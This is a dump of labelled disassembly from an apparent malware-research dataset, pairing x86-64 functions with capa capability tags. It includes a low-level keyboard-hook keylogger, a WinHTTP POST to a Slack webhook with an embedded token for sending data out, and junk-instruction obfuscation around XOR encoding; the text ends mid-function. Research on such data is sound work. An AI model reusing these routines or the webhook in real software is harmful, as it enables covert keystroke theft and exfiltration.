joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002210
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140009840]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002230
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002238
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002230
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000228d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002284
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002230
add rax, 0x28
cmp rax, r9
jne 0x140002270
xor eax, eax
ret

Function at 0x140002290
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009840]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400022af
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400022b8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400022af
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002350
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009840]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000236f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002378
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140007ad0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 0
mov r12, rcx
lea rcx, str.UserAgent
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
xor r9d, r9d
mov r8d, 0x1bb
lea rdx, str.hooks.slack.com
mov rdi, rax
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rbp, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rsi, rax
test rax, rax
je 0x140007bf0
mov dword [rsp + 0x30], 0x800000
xor r9d, r9d
lea r8, str._services_T061KR0RHSM_B06148SKFU5_thKi13lNhb32VstFan1zRKsH
mov rcx, rsi
mov qword [rsp + 0x28], 0
lea rdx, str.POST
mov qword [rsp + 0x20], 0
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rbx, rax
test rax, rax
je 0x140007be0
mov rcx, r12
call sub.msvcrt.dll_strlen
mov r9, r12
mov r8d, 0xffffffff
mov rcx, rbx
mov qword [rsp + 0x30], 0
lea rdx, str.Content_Type:_application_json
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x140007bc8
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov rcx, rbx
call rbp
mov rcx, rsi
call rbp
mov rcx, rdi
mov rax, rbp
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp rax
mov rcx, rbx
call rbp
mov rcx, rsi
call rbp
mov rcx, rdi
call rbp
jmp 0x140007b9b
mov rcx, rsi
call rbp
mov rcx, rdi
call rbp
jmp 0x140007b65
mov rcx, rdi
call rbp
jmp 0x140007b29
Function at 0x140007d60
Capabilities:
Log keystrokes via application hook

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
call fcn.140001540
call qword [sym.imp.KERNEL32.dll_FreeConsole]
xor r9d, r9d
xor r8d, r8d
mov ecx, 0xd
lea rdx, [0x140007c00]
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov rbx, qword [sym.imp.USER32.dll_GetMessageA]
mov rdi, qword [sym.imp.USER32.dll_TranslateMessage]
mov rsi, qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x140007dba
mov rcx, qword [0x1400080d0]
call rdi
mov rcx, qword [0x1400080d0]
call rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x1400080d0]
call rbx
test eax, eax
jg 0x140007da8
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
Function at 0x1400080a0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r15
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor esi, esi
xor eax, eax
lock cmpxchg qword [0x14001d9d0], rbx
je 0x1400080ec
cmp rax, rbx
jne 0x1400080df
mov ebx, 1
mov esi, ebx
jmp 0x1400080f1
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400080c4
mov ebx, 1
mov eax, dword [0x14001d9d8]
cmp eax, ebx
jne 0x140008107
mov ecx, 0x1f
call sub.msvcrt.dll__amsg_exit
jmp 0x14000816c
mov eax, dword [0x14001d9d8]
test eax, eax
jne 0x140008166
mov dword [0x14001d9d8], ebx
lea r15, [0x1400106b0]
lea rdi, [0x140010698]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
cmp rdi, r15
jae 0x140008158
test eax, eax
jne 0x14000815c
cmp qword [rdi], 0
je 0x14000814d
mov rax, qword [rdi]
mov rcx, qword [0x140010670]
call rcx
mov dword [rsp + 0x20], eax
add rdi, 8
mov qword [rsp + 0x28], rdi
jmp 0x14000812e
test eax, eax
je 0x14000816c
mov eax, 0xff
jmp 0x140008248
mov dword [0x14001d404], ebx
mov eax, dword [0x14001d9d8]
cmp eax, ebx
jne 0x140008193
lea rdx, [0x140010690]
lea rcx, [0x140010678]
call sub.msvcrt.dll__initterm
mov dword [0x14001d9d8], 2
test esi, esi
jne 0x1400081a0
xor eax, eax
xchg qword [0x14001d9d0], rax
cmp qword [0x14001d9e0], 0
je 0x1400081d4
lea rcx, [0x14001d9e0]
call fcn.140008ac0
test eax, eax
je 0x1400081d4
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x14001d9e0]
mov r9, qword [0x140010670]
call r9
mov r8, qword [0x14001d418]
mov rdx, qword [0x14001d410]
mov ecx, dword [0x14001d408]
call fcn.140004a48
mov dword [0x14001d400], eax
cmp dword [0x14001d420], 0
jne 0x140008204
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14001d404], 0
jne 0x140008219
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14001d400]
jmp 0x140008248
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r15
ret
sub rsp, 0x28
call fcn.14018d000
add rsp, 0x28
jmp 0x1400080a0

Function at 0x140008590
Capabilities:
Print debug messages

Disassembly:
jmp 0x14000859c
push rbx
sub rsp, 0x540
mov rax, qword [0x14001d0a0]
xor rax, rsp
mov qword [rsp + 0x530], rax
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rbx, qword [rsp + 0x158]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x140008619
and qword [rsp + 0x38], 0
lea rcx, [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov r9, rax
mov qword [rsp + 0x30], rcx
mov r8, rbx
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RtlVirtualUnwind]
jmp 0x140008639
mov rax, qword [rsp + 0x548]
mov qword [rsp + 0x158], rax
lea rax, [rsp + 0x548]
mov qword [rsp + 0xf8], rax
lea rcx, str.Invalid_parameter_passed_to_C_runtime_function._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rcx, qword [rsp + 0x530]
xor rcx, rsp
call fcn.1400082a0
add rsp, 0x540
pop rbx
ret
Function at 0x394041000
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x28
push r12
movaps xmm1, xmm2
neg r12w
sar r12, 2
push r9
psubw mm6, mm5
shr r9d, 5
por mm1, mm4
push r14
psrld mm4, 0xb
movlhps xmm5, xmm8
push r11
packuswb mm4, mm5
pmaxub mm1, mm3
pop r11
minps xmm10, xmm11
movhlps xmm3, xmm10
nop
pop r14
paddusw mm0, mm2
minps xmm4, xmm0
pop r9
pmaddwd mm7, mm2
emms
pop r12
mov rax, qword gs:[0x60]
push rdx
psrad mm0, 0x37
ucomiss xmm11, xmm10
nop
paddd mm3, mm4
push rax
test dx, ax
psubw mm7, mm2
psubusw mm4, mm2
emms
pop rax
neg edx
psrad mm3, 0x56
pcmpgtw mm7, mm3
dec rdx
pop rdx
cmp dword [rax + 0xb8], 1
ja 0x3940411a4
cmp r11w, 0x2c
jne 0x3940410a0
push rax
psraw mm0, 0x1c
pop rax
jmp 0x3940410a7
push r9
neg r9d
pop r9
push r11
rol r11d, 0x13
pop r11
mov ecx, 3
mov edx, 4
call sub.msvcrt.dll_calloc
mov rcx, rax
xor eax, eax
push r9
psraw mm2, 0x10
push r8
nop
neg r9b
push r12
nop
xchg r12d, r9d
psrld mm1, 0x56
push r15
psrlq mm1, 0x5a
subps xmm6, xmm11
psrad mm0, 0x4e
inc r8
pop r15
emms
dec r12d
test r12, r9
pop r12
psrlq mm4, 0x18
mulps xmm15, xmm14
pop r8
not r9w
pop r9
xor dword [rcx + rax*4], 0x73
push r15
pcmpgtb mm3, mm1
push rbx
paddsw mm3, mm6
push r14
sub r14b, 0x16
push r8
xorps xmm13, xmm5
push rax
ucomiss xmm12, xmm7
pop rax
pmulhuw mm2, mm5
pop r8
emms
pop r14
nop
pop rbx
inc r15
pop r15
inc rax
cmp rax, 3
jne 0x3940410c3
call sub.msvcrt.dll_free
push rax
addps xmm13, xmm12
push r15
test r15b, al
paddd mm5, mm3
push r10
psraw mm0, 0x62
nop
rcpps xmm15, xmm10
push r14
psadbw mm4, mm6
psrlw mm6, 0x46
emms
punpckhbw mm1, mm0
push r9
shl r9, 7
pmullw mm7, mm6
emms
nop
neg r9b
pop r9
mov r15b, 7
pmullw mm6, mm5
psrlw mm7, 0x27
addps xmm10, xmm9
pop r14
nop
minps xmm10, xmm5
nop
pop r10
nop
sub r15w, 9
pop r15
dec eax
pop rax
mov eax, 1
jmp 0x3940411e9
push r10
pminsw mm1, mm7
punpcklbw mm4, mm7
nop
paddb mm5, mm2
push r8
neg r10
emms
adc r10, r8
push r12
not r8w
not r8d
push rdx
emms
pop rdx
punpckldq mm1, mm4
adc r12d, r8d
pop r12
psubw mm2, mm5
not r10d
ucomiss xmm3, xmm8
pop r8
emms
not r10b
nop
sar r10b, 0x10
pop r10
xor eax, eax
add rsp, 0x28
ret
Function at 0x3940444df
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x50], rcx
push r10
pminsw mm1, mm7
punpcklbw mm4, mm7
nop
paddb mm5, mm2
push r8
neg r10
emms
adc r10, r8
push r12
not r8w
not r8d
push rdx
emms
pop rdx
punpckldq mm1, mm4
adc r12d, r8d
pop r12
psubw mm2, mm5
not r10d
ucomiss xmm3, xmm8
pop r8
emms
not r10b
nop
sar r10b, 0x10
pop r10
mov qword [rsp + 0x38], rdx
push r9
nop
emms
nop
dec r9d
shl r9b, 0xb
inc r9
nop
pop r9
mov qword [rsp + 0x20], r9
lea rdx, [rsp + 0x50]
mov r9d, r8d
or rcx, 0xffffffffffffffff
lea r8, [rsp + 0x38]
call fcn.39404c06d
push r8
psrld mm7, 0x12
push r14
psraw mm4, 0xa
mov r8w, 0xc
pop r14
emms
pop r8
test eax, eax
jne 0x3940445ae
push r8
mov r8, 2
push r10
pxor mm4, mm7
neg r10b
punpcklbw mm2, mm7
pcmpeqb mm4, mm6
inc r10
psrlw mm5, 0x6b
emms
pop r10
dec r8
jne 0x394044582
pop r8
call fcn.394054b49
mov eax, 1
jmp 0x3940445f9
push r15
psrlq mm7, 0x6a
pop r15
push r11
emms
push r13
neg r13d
pop r13
neg r11b
pop r11
push r12
nop
dec r12d
nop
push r15
emms
not r12w
shr r12b, 2
push rdx
nop
minps xmm9, xmm11
emms
pop rdx
shl r12b, 0xc
punpcklwd mm7, mm2
cmp r15d, r12d
pop r15
psrld mm0, 0x1d
emms
nop
pop r12
xor eax, eax
add rsp, 0x48
ret
Function at 0x394049dec
Capabilities:
Authenticate hmac

Disassembly:
push r8
mov r8, 3
push r11
pop r11
dec r8
jne 0x394049df5
pop r8
mov qword [rsp + 8], rcx
push r11
psraw mm2, 0x40
push r8
and r8b, r11b
push r14
inc r11
push r9
sbb r8w, r14w
push rcx
not r9
push r13
psrlw mm4, 0x60
push rbx
paddsb mm4, mm0
pop rbx
pcmpgtb mm6, mm2
pop r13
nop
pop rcx
nop
pop r9
mulps xmm10, xmm9
pop r14
xor r8b, r11b
pop r8
punpckhbw mm6, mm0
pop r11
mov qword [rsp + 0x10], rdx
push r11
shr r11b, 2
andnps xmm7, xmm0
xorps xmm0, xmm2
push r14
psubusw mm5, mm6
dec r11d
push rax
emms
pop rax
pmaxub mm5, mm4
nop
pop r14
shl r11, 6
nop
packsswb mm3, mm7
pop r11
mov qword [rsp + 0x18], r8
push r9
mov r9, 2
push r13
push r10
pop r10
pop r13
dec r9
jne 0x394049e7f
pop r9
mov qword [rsp + 0x20], r9
push r13
pmulhuw mm7, mm2
emms
push rbx
neg bx
shl rbx, 0xe
push r10
xadd bx, r13w
dec rbx
push r8
mulps xmm8, xmm7
shl r13w, 0xd
push r14
emms
andps xmm11, xmm1
pop r14
punpckldq mm0, mm4
inc r10
pop r8
inc r13d
nop
pop r10
shl rbx, 4
emms
pop rbx
inc r13d
pmaxsw mm1, mm6
pop r13
sub rsp, 0x64
push rax
addss xmm1, xmm11
addss xmm11, xmm4
nop
push rdx
addss xmm11, xmm15
emms
psrad mm0, 0x1c
push rcx
nop
rcl rdx, 0xa
push rbx
addps xmm10, xmm1
sar bl, 0x14
pop rbx
pslld mm2, 1
not rcx
emms
pop rcx
nop
rcr eax, 4
pop rdx
emms
emms
pop rax
mov rcx, 0x71618400
push r10
ror r10d, 8
shl r10d, 0x17
shl r10b, 2
inc r10d
ror r10, 2
push r13
psrlq mm7, 0x43
dec r13
nop
maxps xmm2, xmm3
emms
pop r13
pslld mm3, 0x4f
dec r10d
shl r10w, 0x16
nop
nop
subss xmm0, xmm1
pop r10
call fcn.3940488e4
push rax
nop
push rbx
add bl, al
emms
push r9
comiss xmm12, xmm13
emms
emms
pop r9
psraw mm1, 0x2b
movss xmm4, xmm11
pop rbx
emms
pop rax
add rsp, 0x64
push r9
emms
pmaddwd mm5, mm7
nop
push rbx
psrld mm5, 0x36
pslld mm6, 0x27
push r11
movups xmm8, xmm4
pop r11
nop
dec ebx
pop rbx
emms
shr r9w, 0x17
subps xmm3, xmm4
pop r9
mov rcx, qword [rsp + 8]
push r9
sar r9b, 0xa
emms
push r8
dec r8
psraw mm0, 0x25
push rcx
inc ecx
andnps xmm7, xmm13
push r12
comiss xmm0, xmm15
psllq mm3, 0x4c
push rbx
xchg bx, r12w
nop
pop rbx
emms
pcmpgtw mm0, mm6
pop r12
psraw mm6, 0x49
emms
pop rcx
pandn mm2, mm4
or r9b, r8b
pop r8
andps xmm1, xmm0
comiss xmm15, xmm2
pop r9
mov rdx, qword [rsp + 0x10]
push rcx
emms
push r15
pminsw mm2, mm3
pop r15
psllq mm4, 0x5c
pop rcx
mov r8, qword [rsp + 0x18]
push r14
rcpps xmm0, xmm5
emms
push r9
psubusw mm4, mm5
test r9w, r14w
push r11
neg r11
neg r11
push r10
neg r14d
subss xmm10, xmm9
push r15
neg r14w
pandn mm3, mm0
pop r15
neg r14w
emms
pop r10
dec r14d
nop
pop r11
psrld mm7, 0x51
psrld mm3, 0x11
pop r9
emms
pmulhuw mm2, mm5
pop r14
mov r9, qword [rsp + 0x20]
push r13
emms
nop
pandn mm4, mm0
dec r13d
psllq mm1, 0x2d
push r15
psraw mm6, 0x10
packuswb mm2, mm6
shl r13d, 0x10
psrld mm5, 0x18
emms
pop r15
emms
pxor mm5, mm2
psrlw mm5, 0x38
ror r13d, 0x15
psrld mm5, 0x41
rcl r13d, 0xd
pop r13
jmp rax
Function at 0x3940578ba
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x20
push r15
rcr r15d, 2
pcmpgtd mm3, mm5
push r9
xor r9w, r15w
pop r9
psraw mm0, 0x65
rcl r15d, 5
pop r15
movsxd rbx, edx
test ebx, ebx
jle 0x394057a43
push rcx
emms
dec ecx
maxss xmm5, xmm1
psrlq mm2, 0x34
nop
push rdx
nop
nop
neg edx
sar cx, 5
xadd ecx, edx
pop rdx
punpcklbw mm7, mm4
rcpps xmm9, xmm8
emms
ror cl, 9
not rcx
shl cx, 0x13
pop rcx
cmp word [rcx + rbx*2 - 2], 0x5c
lea rax, [rbx - 1]
jne 0x394057a3b
cmp r11w, 0x2c
jne 0x39405793c
push rax
psraw mm0, 0x1c
pop rax
jmp 0x394057943
push r9
neg r9d
pop r9
push r11
rol r11d, 0x13
pop r11
mov ecx, 3
mov edx, 4
call sub.msvcrt.dll_calloc
mov rcx, rax
xor eax, eax
push r9
psraw mm2, 0x10
push r8
nop
neg r9b
push r12
nop
xchg r12d, r9d
psrld mm1, 0x56
push r15
psrlq mm1, 0x5a
subps xmm6, xmm11
psrad mm0, 0x4e
inc r8
pop r15
emms
dec r12d
test r12, r9
pop r12
psrlq mm4, 0x18
mulps xmm15, xmm14
pop r8
not r9w
pop r9
xor dword [rcx + rax*4], 0x73
push r15
pcmpgtb mm3, mm1
push rbx
paddsw mm3, mm6
push r14
sub r14b, 0x16
push r8
xorps xmm13, xmm5
push rax
ucomiss xmm12, xmm7
pop rax
pmulhuw mm2, mm5
pop r8
emms
pop r14
nop
pop rbx
inc r15
pop r15
inc rax
cmp rax, 3
jne 0x39405795f
call sub.msvcrt.dll_free
push rax
addps xmm13, xmm12
push r15
test r15b, al
paddd mm5, mm3
push r10
psraw mm0, 0x62
nop
rcpps xmm15, xmm10
push r14
psadbw mm4, mm6
psrlw mm6, 0x46
emms
punpckhbw mm1, mm0
push r9
shl r9, 7
pmullw mm7, mm6
emms
nop
neg r9b
pop r9
mov r15b, 7
pmullw mm6, mm5
psrlw mm7, 0x27
addps xmm10, xmm9
pop r14
nop
minps xmm10, xmm5
nop
pop r10
nop
sub r15w, 9
pop r15
dec eax
pop rax
jmp 0x394057a84
mov rbx, rax
jmp 0x3940578dd
push r15
emms
push r8
cmp r8w, r15w
packssdw mm6, mm4
push rdx
psllq mm0, 0x1f
psubw mm6, mm3
xadd r8b, dl
push r14
or r8b, r14b
psubusw mm1, mm7
psrlw mm4, 0x1a
nop
pop r14
rcl dx, 0xa
not edx
psllq mm4, 0x62
pop rdx
nop
emms
pop r8
mulss xmm13, xmm0
pop r15
xor ebx, ebx
mov eax, ebx
add rsp, 0x20
pop rbx
ret
Function at 0x394058a7f
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
push rbx
psllq mm0, 0x2c
nop
push r10
pandn mm2, mm4
pop r10
punpckhbw mm4, mm6
emms
pop rbx
mov dword [rsp + 0x28], 0x276265
push rbx
emms
push r11
pslld mm0, 1
push r9
emms
push r8
nop
push r12
shl r12w, 4
push r10
inc r10d
pop r10
inc ebx
pop r12
adc ebx, r11d
pop r8
nop
pop r9
inc r11d
pop r11
pcmpgtd mm7, mm6
pop rbx
mov dword [rsp + 0x2c], 0x6c776b
push r11
nop
inc r11
movss xmm4, xmm12
movhlps xmm15, xmm11
paddusb mm0, mm1
mov r11, 3
inc r11d
pop r11
lea rbp, [rsp + 0x2c]
lea rsi, [rsp + 0x28]
mov rdx, rbp
mov rcx, rsi
call sub.msvcrt.dll__mbscmp
test eax, eax
jne 0x394058b59
push rbx
not bx
push r12
not r12d
rcr bx, 0x10
push r9
not r12w
psllq mm1, 0x57
xor r12b, bl
push r11
paddusb mm7, mm5
subps xmm12, xmm2
comiss xmm12, xmm14
comiss xmm10, xmm6
pop r11
psubusw mm2, mm3
punpckldq mm7, mm2
movaps xmm1, xmm13
pop r9
nop
emms
pop r12
psrlq mm6, 0x12
pop rbx
jmp 0x394058b60
push rbx
rcpss xmm14, xmm12
pop rbx
push r11
neg r11
push r8
nop
push r13
addps xmm1, xmm0
push rax
add r13d, r8d
push r14
test ax, r13w
push r15
pandn mm7, mm6
push r10
emms
pop r10
paddusw mm5, mm6
pop r15
pcmpeqd mm6, mm7
pop r14
not rax
pop rax
pslld mm7, 0x48
pop r13
pmaddwd mm1, mm7
pop r8
emms
pop r11
rdtsc
mov ebx, edx
mov edi, eax
push rbx
punpckhwd mm6, mm0
push r11
test bx, r11w
push rcx
emms
push r14
neg r14d
push r9
pmaddwd mm0, mm4
push r15
psrlw mm6, 0x4f
pop r15
packsswb mm2, mm0
pop r9
mov r14b, 1
pop r14
movhlps xmm4, xmm15
pop rcx
psrlw mm2, 0x13
pop r11
ror ebx, 0xd
pop rbx
call fcn.394055a61
shl rbx, 0x20
mov byte [rsp + 0x2a], 0
mov word [rsp + 0x28], 0x3964
or rbx, rdi
push r10
movups xmm3, xmm15
emms
subss xmm11, xmm7
emms
push r9
inc r10d
emms
mulss xmm1, xmm2
emms
pop r9
emms
psllq mm1, 0x39
pminsw mm2, mm5
sar r10d, 0x10
pop r10
mov dword [rsp + 0x2c], 0x696f2d
push r9
psrad mm7, 0xc
push rcx
not ecx
push r15
rcl r9w, 0xb
push r10
pcmpgtd mm0, mm1
push r11
not r9b
push rax
not rax
pop rax
shl rcx, 6
pop r11
packsswb mm4, mm1
pop r10
and r15b, r9b
pop r15
add r9w, cx
pop rcx
comiss xmm3, xmm2
pop r9
mov rdx, rbp
mov rcx, rsi
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x394058ce2
mov rax, rsi
lea rdx, [rsp + 0x2a]
push r10
psubusw mm5, mm1
nop
nop
push rax
xor r10b, al
nop
rcr r10d, 0xf
push r9
dec eax
psubsb mm5, mm4
push rdx
psrad mm1, 0x47
psraw mm1, 0x3a
pop rdx
inc r9
sbb r10b, 3
psrlw mm5, 0x62
pop r9
mov r10, 4
sub r10b, al
pop rax
psrlw mm5, 0x16
psrld mm6, 0x34
pop r10
xor byte [rax], 0x58
push r12
psraw mm0, 0x36
rol r12d, 0xc
push r8
sar r8, 8
pop r8
nop
dec r12
pop r12
inc rax
cmp rax, rdx
jne 0x394058c7a
jmp 0x394058d1d
push r13
emms
subps xmm12, xmm5
push r15
movlhps xmm2, xmm12
shl r13b, 4
push rcx
emms
emms
push r9
pmulhuw mm6, mm5
adc r15d, r9d
pop r9
mov r15, 0x17
emms
pop rcx
inc r15
inc r15d
pop r15
emms
movlhps xmm2, xmm9
pop r13
cmp r11d, eax
jne 0x394058d32
push r8
emms
pop r8
jmp 0x394058d37
push rax
dec rax
pop rax
push rcx
paddw mm7, mm6
pop rcx
movzx eax, bx
add rax, 0x1f0000
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x14002713c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.1400101c0
sub rsp, rax
mov rax, qword [0x14004b090]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140023458
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x14002718b
mov rax, rbp
jmp 0x140027293
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x4d9e0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.1400280ac
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x4d9e0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x14002728f
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14002728f
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.1400280ac
test rax, rax
js 0x14002728f
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x14002728f
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140027281
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140027281
cmp byte [rcx], 0xd
jne 0x140027267
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140027276
cmp byte [rcx + 1], 0xa
jne 0x140027276
inc rcx
jmp 0x140027276
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x4b480]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140027249
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140027293
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.14000f7f0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14005de1e
Capabilities:
Set thread local storage value

Disassembly:
push rax
pushf
mov eax, 0xe17b598b
pushf
not eax
add eax, 0xb6d9cd3f
xor eax, 0xfcade9d0
rol eax, 0x15
popf
pushf
not eax
add eax, 0xe6646d4b
xor eax, 0xcffac7e0
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xfe788dc2
xor eax, 0xcf2ed311
rol eax, 0x63
popf
cmp eax, 2
jne 0x14005de6e
popf
pop rax
jmp 0x14005dfa1
cmp eax, 0
jne 0x14005de7d
popf
pop rax
jmp 0x14005de9b
cmp eax, 3
jne 0x14005de8c
popf
pop rax
jmp 0x14005dfda
cmp eax, 1
jne 0x14005de9b
popf
pop rax
jmp 0x14005df98
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rdx
lea r9, [0x18d4e9669]
pushf
sub r9, 0x4d4b0941
popf
mov edi, ecx
lea rdx, [0x19c168c7d]
pushf
sub rdx, 0x5c12ff55
popf
mov ecx, 0xe3ce3fe2
pushf
not ecx
add ecx, 0x8fc93977
xor ecx, 0xde0c6d0a
rol ecx, 0xaa
popf
pushf
not ecx
add ecx, 0x827eb120
xor ecx, 0xa8ec3748
rol ecx, 0xa
popf
lea r8, [0x19c80c519]
pushf
sub r8, 0x5c7d37f9
popf
call fcn.140015b9c
mov rdx, rbx
mov ecx, edi
test rax, rax
je 0x14005df64
push rax
pushf
mov eax, 0x796a8c2b
pushf
not eax
add eax, 0x8eb44beb
xor eax, 0x8f718d84
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xc548e094
xor eax, 0x96977eff
rol eax, 0xb9
popf
pushf
not eax
add eax, 0x82d19a96
xor eax, 0x918fb03c
rol eax, 0x40
popf
jmp 0x14005de5f
push rax
pushf
mov eax, 0x40704249
pushf
not eax
add eax, 0xb35242cb
xor eax, 0x8a945b73
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xa3e1465e
xor eax, 0xc227d692
rol eax, 0xc
popf
jmp 0x14005de5f
call qword [0x140036430]
jmp 0x14005dfda
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
push rax
pushf
mov eax, 0xa1d67379
pushf
not eax
add eax, 0xbdc74581
xor eax, 0xf1ce7131
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xe01d227a
xor eax, 0xeb036b2b
rol eax, 0xa0
popf
jmp 0x14005de5f
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140096a15
Capabilities:
Get thread local storage value

Disassembly:
push rax
pushf
mov eax, 0x704118e
pushf
not eax
add eax, 0xc51b6046
xor eax, 0xc30c19b5
rol eax, 0xd5
popf
pushf
not eax
add eax, 0x93cfba90
xor eax, 0xb3801725
rol eax, 0x29
popf
cmp eax, 2
jne 0x140096a52
popf
pop rax
jmp 0x140096bd1
cmp eax, 0
jne 0x140096a61
popf
pop rax
jmp 0x140096a70
cmp eax, 1
jne 0x140096a70
popf
pop rax
jmp 0x140096bc5
push rbx
sub rsp, 0x20
mov ebx, ecx
lea r9, [0x1ab64877d]
pushf
sub r9, 0x6b60fa6d
popf
mov ecx, 0x8c60693a
pushf
not ecx
add ecx, 0xffd41ed4
xor ecx, 0x82a91167
rol ecx, 0x33
popf
pushf
not ecx
add ecx, 0xad83ed0b
xor ecx, 0xa23450f0
rol ecx, 0xb6
popf
pushf
not ecx
add ecx, 0xcaa3ec73
xor ecx, 0xf1d62cdb
rol ecx, 0x75
popf
pushf
not ecx
add ecx, 0xf4993acc
xor ecx, 0x9d7c28d1
rol ecx, 0xaa
popf
lea r8, [0x1bcb09dfd]
pushf
sub r8, 0x7cad10f5
popf
lea rdx, [0x1ae58ef31]
pushf
